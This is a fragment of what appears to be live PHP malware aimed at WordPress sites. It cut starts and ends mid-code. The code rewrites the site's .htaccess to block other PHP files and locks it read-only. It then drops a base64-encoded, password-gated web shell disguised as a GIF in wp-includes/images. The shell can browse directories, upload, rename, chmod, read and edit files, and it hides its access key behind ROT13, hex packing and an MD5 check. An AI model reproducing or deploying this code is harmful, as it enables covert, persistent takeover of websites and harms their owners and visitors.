base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGV